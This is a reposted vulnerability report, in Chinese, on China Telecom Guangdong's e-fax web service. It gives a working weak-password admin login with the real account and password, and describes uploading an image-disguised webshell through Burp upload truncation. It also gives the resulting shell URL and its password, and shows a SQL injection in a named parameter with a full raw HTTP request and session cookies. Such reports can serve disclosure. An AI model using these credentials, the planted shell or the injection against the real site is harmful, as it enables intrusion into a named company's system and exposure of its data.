中国电信股份有限公司广东分公司

《中国电信股份有限公司广东分公司》由会员上传分享，免费在线阅读，更多相关内容在工程资料-天天文库。

1、中国电信股份有限公司广东分公司一.弱口令登陆选择企业登陆,企业账号admin@02083377623密码12345678二.任意文件上传传真管理点击写传真传真文件地方上传个图片马,burp抓包,并且截断上传得到shell:http://efax.gdbnet.cn/upload/201708/02080720390201708071506442181.jsp密码13l4l0ve一.sql注入存在大量注入,举例一处1.在高级设置-公告消息的地方,参数title存在注入POST/GDbnetfaxC/messageAction.

2、do?action=listEXHTTP/1.1Accept:application/x-shockwave-flash,image/gif,image/jpeg,image/pjpeg,image/pjpeg,application/msword,application/vnd.ms-excel,application/vnd.ms-powerpoint,application/xaml+xml,application/x-ms-xbap,application/x-ms-application,*/*Referer:ht

3、tp://efax.gdbnet.cn/GDbnetfaxC/messageAction.do?action=listEXAccept-Language:zh-cnUser-Agent:Mozilla/4.0(compatible;MSIE7.0;WindowsNT5.1;Trident/4.0;.NETCLR2.0.50727;.NET4.0C;.NET4.0E;.NETCLR3.0.04506.30;.NETCLR3.0.04506.648;.NETCLR3.5.21022)Content-Type:applicatio

4、n/x-www-form-urlencodedAccept-Encoding:gzip,deflateHost:efax.gdbnet.cnContent-Length:26Pragma:no-cacheCookie:JSESSIONID=F71DD3D4E45F761713182DBB9ED78228;__utma=168990718.1882697417.1502069520.1502069520.1502069520.1;__utmc=168990718;__utmz=168990718.1502069520.1.1.

5、utmcsr=(direct)

6、utmccn=(direct)

7、utmcmd=(none);Hm_lvt_fb2357ae728031f73d3586dd7edd4007=1502072307,1502086502;Hm_lpvt_fb2357ae728031f73d3586dd7edd4007=1502086982;__utma=167241322.1824616098.1502072305.1502072305.1502084446.2;__utmb=167241322.31.10.1502084446;__utmc=1

8、67241322;__utmz=167241322.1502072305.1.1.utmcsr=(direct)

9、utmccn=(direct)

10、utmcmd=(none);JSESSIONID=DD8B3D8AECAE4EE53DC7B84C18B1B360Connection:closetitle=&starttime=&endtime=